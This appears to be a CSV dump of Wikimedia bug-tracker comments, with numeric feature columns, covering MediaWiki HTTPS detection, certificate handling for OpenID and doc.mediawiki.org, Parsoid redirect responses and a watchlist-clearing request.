+(Also, this needs to go into Gerrit nowadays: See https://www.mediawiki.org/wiki/Developer_access and https://www.mediawiki.org/wiki/Git/Tutorial )
+
+**Attached**: {F10308}",,,1393610880,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,True,,,26,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+207793,HTTPS detection is not reliable,"Platonides: Wondering if you'd be interested in this / could comment, as per bug 28798 comment 10 but maybe I'm wrong.
+
+Anybody could put the patch into Gerrit so we can get it in. See
+  https://www.mediawiki.org/wiki/Developer_access    and
+  https://www.mediawiki.org/wiki/Git/Tutorial",,,1366025512,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,True,,,-20,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+207785,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+Proposed fix for mediawiki-1.20.3
+
+This resolves the problem for me.
+
+- Fixed HTTPS check to be according to PHP docs.
+- Added port 80 as another default port for HTTPS (TLS)
+
+Reproducer:
+- hosted mediawiki-1.20.3 on Openshift
+- accessed the user preferences through TLS, changed anything and clicked save
+
+Result without patch:
+Warning, that the data will be sent unencrypted, if HTTPS is enforced through the Apache rewrite rule, nothing get saved
+
+Result with patch:
+No warning, data get saved
+
+**Attached**: {F10308}",,,1364163171,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+207777,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+(In reply to comment #6)
+> starting from line 1560,
+Actually line 156.",,,1364149516,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+207770,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+(In reply to comment #5)
+> Hi Jaroslav! Thanks for your patch, but unfortunately 1.16 is not maintained
+> anymore. Could you provide a hint (line number) where to see the same problem
+> in 1.20.3, if possible?
+
+It seems to be in the includes/WebRequest.php (starting from line 1560, functions detectServer() and detectProtocolAndStdPort(). I will try to provide the patch (I need to get it into cloud first to check whether the fix really works there).",,,1364149379,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+207764,HTTPS detection is not reliable,"Hi Jaroslav! Thanks for your patch, but unfortunately 1.16 is not maintained anymore. Could you provide a hint (line number) where to see the same problem in 1.20.3, if possible?",,,1364148485,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+207758,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+Maybe the relative URLs could be used.",,,1364146357,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+207754,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+(In reply to comment #2)
+> (In reply to comment #1)
+> > Created attachment 11983 [details]
+> > Proposed fix for mediawiki-1.16
+> > 
+> Maybe the check should be against '' and not 'off' to be according to the PHP
+> docs.
+
+ISAPI with IIS uses 'off', so probably the following could be OK:
+
+$wgProto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != '' && $_SERVER['HTTPS'] != 'off') ? 'https' : 'http';
+
+**Attached**: {F10307}",,,1364145422,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1
+207747,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+(In reply to comment #1)
+> Created attachment 11983 [details]
+> Proposed fix for mediawiki-1.16
+> 
+Maybe the check should be against '' and not 'off' to be according to the PHP docs.
+
+**Attached**: {F10307}",,,1364145164,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+207743,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+Proposed fix for mediawiki-1.16
+
+The latest trunk has the code refactored into functions, but the principle should be the same.
+
+**Attached**: {F10307}",,,1364144156,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0
+48298,https://doc.mediawiki.org/ should not exist or have a valid certificate and redirect to doc.wikimedia.org,"Right now it is an undocumented domain name (not in use anywhere) falling back to the default docroot on Gallium (which is for doc.wikimedia.org) and as such as serving an invalid certificate.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1363647060,1364239629.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5zrdbxk2g3du4iaabeyr,task_description,resolved,True,c2,1,True,False,True,-24,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+218646,https://doc.mediawiki.org/ should not exist or have a valid certificate and redirect to doc.wikimedia.org,Change-Id: Ideca6e75eb99fde407509acda4057c940bddfb07,,,1363648008,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5zrdbxk2g3du4iaabeyr,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+48189,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","see also bug 45324 .
+
+The implementation would require a user_openid table schema change, so that an additional column uoi_openid_ignore_certificate_check can be added and can be set to ""1"". (per user).
+
+""per-OpenID provider"" would either require 
+
++ an additional database table openid_providers which save their properites including whether not to ignore certificate checks; or
++ hard-coding the value for the preprogrammed providers. 
+
+A setting (checkbox ""ignore certificate checks"") for manually entered OpenIDs must be added on the Login and Convert panels.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Medium,50.0,1363434360,1363476129.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-phwaotxxcljiyzqxexfz,task_description,declined,True,c2,1,False,False,True,-24,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+212872,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","closed after discussion with Ryan (""there's never a good reason to allow insecure checking"")",,,1363476129,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+212863,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user",Here's a simple cert viewer in PHP https://github.com/Wikinaut/MySimpleCertViewer,,,1363450109,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+212858,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user",*** Bug 45956 has been marked as a duplicate of this bug. ***,,,1363443610,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+212854,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","SHA-1 example for OPENSSL (tested)
+
+echo -n | openssl s_client -connect www.google.org:443 2>/dev/null | sed -n ""/BEGIN CERTIFICATE/,/END CERTIFICATE/p"" | openssl x509 -fingerprint -sha1 -noout
+
+results in output:
+
+""SHA1 Fingerprint=15:23:B4:8F:71:6F:E7:88:55:17:58:19:F3:D4:C0:59:8A:07:73:44""
+
+
+see http://serverfault.com/questions/139728/how-to-download-ssl-certificate-from-a-website
+
+Example for GNUTLS (untested):
+
+The GNUTLS client tool, gnutls-cli, can also make this easy:
+
+gnutls-cli --print-cert www.example.com < /dev/null > www.example.com.certs
+
+The program is designed to provide an interactive client to the site, so you need to give it empty input to end the interactive session.",,,1363441863,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+212848,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user",see https://sourceforge.net/p/curl/feature-requests/69/,,,1363440132,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+212842,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","add to the the per-openid provider and/or per-user solution;
+
++ show OpenID provider's fingerprint
++ store fingerprint if user accepted
++ alert, if during the next authentication the current and stored fingerprints differ",,,1363438982,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+47808,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"When editing page with redirect, I can edit just the page to where it is redirected.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1362608760,1370996903.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-nmf7tpcq5shuju5asec2,task_description,resolved,True,c2,1,False,False,True,-25,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+215580,Parsoid: Redirects should not be served as HTTP 200 with contents of target,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934103,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+215575,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"I removed our previous behavior of following redirects when encountering a redirect page, so we now return the regular redirect content as expected. Closing as fixed.",,,1370996903,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+215569,Parsoid: Redirects should not be served as HTTP 200 with contents of target,Sorry: the wikitext parsing bit landed but I didn't yet make any changes to how the server handles redirects.  One more patch is needed to change the http status and turn off the old redirect code. Reopening.,,,1368776564,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-15,True,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0
+215562,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"I have not tested the HTTP responses yet, but am happy to close. Please reopen if you find issues (or open a new bug).",,,1368771676,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+215556,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"As the gerrit commit is merged, can this now be closed?",,,1368771580,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+215550,Parsoid: Redirects should not be served as HTTP 200 with contents of target,*** Bug 48271 has been marked as a duplicate of this bug. ***,,,1368568441,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+215545,Parsoid: Redirects should not be served as HTTP 200 with contents of target,Related URL: https://gerrit.wikimedia.org/r/61799 (Gerrit Change I1bd36f32a5e46b90261895e5499a0308875e5e05),,,1367429750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+215541,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"""#REDIRECT [[www.google.com]]"" behaves just the same way as ""#REDIRECT [[Foo]]"", so not that unexpected.",,,1367351972,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+215535,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"Note: test ""#REDIRECT [[www.google.com]]"" which currently does unusual things.",,,1367350491,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1
+215528,Parsoid: Redirects should not be served as HTTP 200 with contents of target,See http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Redirects for the preliminary DOM spec.,,,1366225211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+215521,Parsoid: Redirects should not be served as HTTP 200 with contents of target,See bug 47328 for the corresponding Visual Editor bug.,,,1366223242,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+215514,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"From IRC discussion w/ GWicke:
+
+gwicke: I think that we should not resolve redirects for top-level requests
+gwicke: should return a meta instead that lets the VE edit the redirect
+cscott-free: yeah, although editing ""#REDIRECT [[foo]]"" is a bit awkward, that's an <ol>
+gwicke: obviously we'd expose it as <meta property=""mw:Redirect"" content=""foo""> or something like that
+cscott-free: i think i learned recently that there can be other 'stuff' in a redirect?
+gwicke: arguably this should eventually end up in the head instead of the content
+gwicke: but for now we should probably keep it in the content area in the interest of round-tripping
+cscott-free: that makes sense.
+gwicke: cscott: there can be page content following it that is normally ignored by MW
+gwicke: but we should probably still round-trip it
+gwicke: hence the idea to keep it inline for now rather than returning a blank body with meta info in the head
+(01:58:07 PM) cscott-free: i suspect there should be a corresponding VE bug for editing the <meta property=""mw:Redirect"" content=""foo"">
+(01:58:08 PM) gwicke: maybe we should use link / rel / href again
+(01:58:21 PM) gwicke: for the same relative link resolution reasons
+
+(see bug 45206 comment 5 for a brief discussion of the meta/link issues)",,,1366221726,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+215509,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"If you ask Parsoid for (say) http://localhost:8000/en/OLPC you get the page for ""One Laptop Per Child"" (the <title> is correct), but the returned page contains {{Redirect|OLPC}} in addition to the text from the ""One Laptop Per Child"" article.
+
+So in addition to the redirect being transparent, we're also getting bogus extra content in the parsed version.",,,1366221094,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+215501,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"Juan,
+
+Thanks for your bug report; you are correct. This is because Parsoid gives the wrong response for pages with redirects. Pushing over to them.
+
+Current behaviour:
+* 200 response with the contents of the target page
+
+
+On what we'd expect, I'd suggest either type A (but it's messy architecturally) or type B (but not sure about user agent support for HTTP 300):
+
+Expected behaviour - type A:
+* when in 'reading mode', a 302 to the page with the redirect;
+* when in 'editing mode', a 200 with the contents of the page (to edit the redirect / etc.)
+
+Expected behaviour - type B:
+* a 300 response with the first link (for regular browsers) being off to the target of the page, and the second being the ?redirect=no or whatever version to be able to edit it.",,,1362760613,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nmf7tpcq5shuju5asec2,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+47380,Clear specific user's watchlist that is too large to load (HTTP Error 500),"**Author:** `mattbisanz`
+
+**Description:**
+Please clear the watchlist of user Carlossuarez46 at en.wp because it has become too large for him to load the page and edit it. See http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=540347817#Cannot_edit_watchlist
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=540347817#Cannot_edit_watchlist",Medium,50.0,1361825880,1362147678.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tacmfcmzyzppgwxzok5o,task_description,resolved,True,c2,1,False,False,True,-27,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
